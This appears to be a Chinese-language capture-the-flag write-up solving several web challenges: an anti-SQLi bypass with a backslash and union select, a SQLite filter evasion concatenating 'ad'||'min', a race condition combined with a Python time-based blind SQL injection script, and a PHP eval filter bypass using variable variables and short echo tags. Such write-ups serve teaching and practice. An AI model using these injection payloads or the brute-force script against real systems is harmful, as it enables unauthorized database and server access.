顺便解释一哈,这里id的反斜杠是为了转义后面的引号,后面的select是为了确定有几列,发现只有1,2,3才回正常回显,其他都是login failed,同时,回显是2,所以应该是选出来的有个值是会作为result的

试下?id=\&pw=union all select 31337,31337,31337 from antisqli--%1a

然后就有flag了flag{5a0841c4738a69af352a06d282bece78}

name check

源码

<?php
    error_reporting(0);
    require __DIR__.'/lib.php'; 
    if(isset($_GET['name'])){
        $name = $_GET['name'];
        if(preg_match("/admin|--|;|\(\)|\/\*|\\0/i", $name)){
            echo 'Not allowed input';
            goto quit;
        }
        $sql = new SQLite3('name_check.db', SQLITE3_OPEN_READWRITE);
        $res = $sql->query("
            SELECT 
            MAX('0','1','{$name}') LIKE 'a%', 
            INSTR('{$name}','d')>0, 
            MIN('{$name}','b','c') LIKE '__m__', 
            SUBSTR('{$name}',-2)='in'
        ;");
        if($res === false){
            echo 'Database error';
            goto quit;
        }
        $row = $res->fetchArray(SQLITE3_NUM);
        if(
            $row[0] + $row[1] + $row[2] + $row[3] !== 4 ||
            array_sum($row) !== 4 
        ){
            echo 'Auth failed';
            goto quit;
        }
        echo $flag;

    quit:
        echo '<hr>';
    }
    highlight_file(__FILE__);

源码可以读到,获得flag的条件是 $row[0] + $row[1] + $row[2] + $row[3] !== 4 || array_sum($row) !== 4

至于这个row,就是上面sql查询出来的东西,也就是说,上面的四个查询都要是true

第一个要求查的东西以a开头,第二个要求中间要有d,第三个要求m在中间,最后一个要求in结尾,合起来刚好是admin........orz

然后源码开头就过滤了admin......

再百度一哈,sqlite的连接符不是+而是||,综上,payload是?name=ad'||'min

然后flag是flag{623870cc3336cf126a8345697464aadc}

I am slowly

源码

 <?php
    // It's 'I am slowly' problem of 'Solve Me'.
    error_reporting(0);
    require __DIR__.'/lib.php'; 
    $table = 'iamslowly_'.ip2long($_SERVER['REMOTE_ADDR']);
    $answer = $_GET['answer'];
    if(isset($answer)){
        $con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
            or die('SQL server down');
        $result = mysqli_fetch_array(
            mysqli_query($con, "SELECT `count` FROM `{$table}`;")
        );
        if(!isset($result)){
            mysqli_query($con, "CREATE TABLE IF NOT EXISTS `{$table}` (`answer` char(32) NOT NULL, `count` int(4) NOT NULL);");
            $new_answer = md5(sha1('iamslowly_'.mt_rand().'_'.mt_rand().'_'.mt_rand()));
            mysqli_query($con, "INSERT INTO `{$table}` (`answer`,`count`) VALUES ('{$new_answer}',1);");
        }elseif($result['count'] === '12'){
            mysqli_query($con, "DROP TABLE `{$table}`;");
            echo 'Game over';
            goto quit;
        }
        $randtime = mt_rand(1, 10);
        $result = mysqli_fetch_array(
            mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")
        );
        if(isset($result) && $result['answer'] === $answer){
            mysqli_query($con, "DROP TABLE `{$table}`;");
            echo $flag;
        }else{
            mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;");
            echo 'Go fast';
        }
quit:
        mysqli_close($con);
        echo '<hr>';
    }
    highlight_file(__FILE__); 

第一次见这种题,利用php和mysql之间的延迟去绕过

首先先传参,根据ip去创一个表,里面有个count字段和answer,count的初始值是1,以后每次查询都会把这个count+1,如果是12的话就删掉表再去重建一个新表。

但是它的逻辑是判断count值-->执行SQL语句-->count+1

我们在count=11的时候,去执行一个延迟很长的语句,然后请求就会停留在执行SQL这句,这个时候我们再发一个请求,判断的还是在count=11,但是执行完了以后count就成了12,然后上一条执行了count变成13,刚刚好绕过了12的限制,然后就可以一直交请求了,最后就可以一直交请求了

剩下的就是盲注了,这里用like去进行盲注,脚本

import requests
header = {
    "Host": "iamslowly.thinkout.rf.gd",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
    "Accept-Encoding": "gzip, deflate",
    "Referer": "http://iamslowly.thinkout.rf.gd/",
    "Cookie": "__test=79c08695300502149efe20beaab12ada",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1"
}
flag = ""
key = "0123456789ancdef"
for i in range(1,1000):
    for j in key:
        url = "http://iamslowly.thinkout.rf.gd/?i=1&answer=' or if((answer like '{}%'),sleep(30),2)%23".format(flag+j)  #这里的i其实是表的第一项的flag
        try:
            r = requests.get(url=url,headers=header,timeout=29).content
        except:
            flag += j
            print(flag)
            break

然后就有flag了flag{e1442b9d9758c21536b61ac833600561} 

cheap lottery

有点懵逼,放一放

check via eval

源码

 <?php
    error_reporting(0);
    require __DIR__.'/lib.php';
    $exam = 'return\''.sha1(time()).'\';';
    if (!isset($_GET['flag'])) {
        echo '<a href="./?flag='.$exam.'">Click here</a>';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
        echo 'Not allowed length';
    }
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
        echo 'Not allowed keyword';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
        echo $flag;
    }
    else {
        echo 'What\'s going on?';
    }
    echo '<hr>';
    highlight_file(__FILE__); 

可以看到,源码有个eval函数,emmm,有丶东西,看来是从这里下手了,再看过滤,一般的输出函数echo,print,括号都被过滤了

但是有个<?=$a;?>,相当于<?echo $a;?>,有了它就可以输出flag了,剩下的就是赋值给flag就行了

最后的payload

?flag=$a='alag';$a{0}='f';111111111111111111;?><?=$$a?>

可以看到,先用个$a去赋值为alag,再改成flag,最后输出,至于中间的1,纯粹是为了凑数绕过那个length的(捂脸

然后就有flag了flag{47d07abef31b3adb4a4107bd2b2b3d7e}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值